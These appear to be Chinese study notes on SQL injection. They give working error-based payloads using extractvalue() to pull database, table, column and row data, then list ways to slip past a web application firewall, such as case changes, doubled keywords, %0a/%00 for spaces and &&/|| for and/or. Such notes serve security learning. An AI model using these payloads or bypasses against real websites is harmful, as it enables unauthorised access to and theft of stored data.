1.报错注入
只有在页面上没有显示位但是有SQL语句执行错误的情况下才能使用报错注入。3
参考文献:学习extractvalue()、updatexml()报错注入 - 腾讯云开发者社区-腾讯云 (tencent.com)
报错注入:通过构造非法格式的内容使得函数不能正常执行,通过报错或更新将我们的非法查询的内容回显出来。
获取库名:
' and extractvalue('div', concat('~',database()))#
获取表名:
' and extractvalue('div', concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')))#
获取列名:
' and extractvalue('div', concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名')))#
获取数据:
' and extractvalue('div', concat('~',(select 列名 from 表名 limit 0,1)))#
注释:有时候这里会显示不完全。
2.注入绕过
WAF(web application firewall,Web应用防火墙)》对每个请求的内容进行按规则检查和过滤。
大小写绕过:and/AND--And,select/SELECT--SeLect
双写关键词绕过:and——anandd
空格过滤绕过:%0a(换行)过滤空格,%00代替#
绕过and和or:&&--and,||--or
=绕过:like;
参考文献:
sql注入绕过方法总结_sql waf 过滤符号怎么办_huanghelouzi的博客-CSDN博客
补充一点关于burpsuite的使用:query parameters是在URL中传递的参数,而body parameters是在HTTP请求正文中传递的参数。当使用GET方法时,query parameters会被附加到URL中,而当使用POST方法时,body parameters会被包含在HTTP请求正文中